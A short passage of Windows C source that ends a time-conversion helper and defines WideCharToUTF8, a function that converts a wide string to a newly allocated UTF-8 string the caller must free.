    FILETIME ft;

    UnixTimeToFileTime(t, &ft);
    FileTimeToSystemTime(&ft, pst);
}

/*
    Description:    convert wide string received in input to a UTF-8 encoded LPSTR
    Parameters:        wide string to be converted
    Usage:            the string returned is either NULL or an allocated LPSTR that must be freed by the caller
*/
LPSTR WideCharToUTF8(LPWSTR strIn)
{
    LPSTR strUtf8 = NULL;
    size_t size;

    size = WideCharToMultiByte(CP_UTF8, 0, strIn, -1, NULL, 0, NULL, NULL);
    strUtf8 = (LPSTR) zalloc_s(size);

    if (strUtf8)
    {
        WideCharToMultiByte(CP_UTF8, 0, strIn, -1, strUtf8, size, NULL, NULL);
    }

    return strUtf8;
}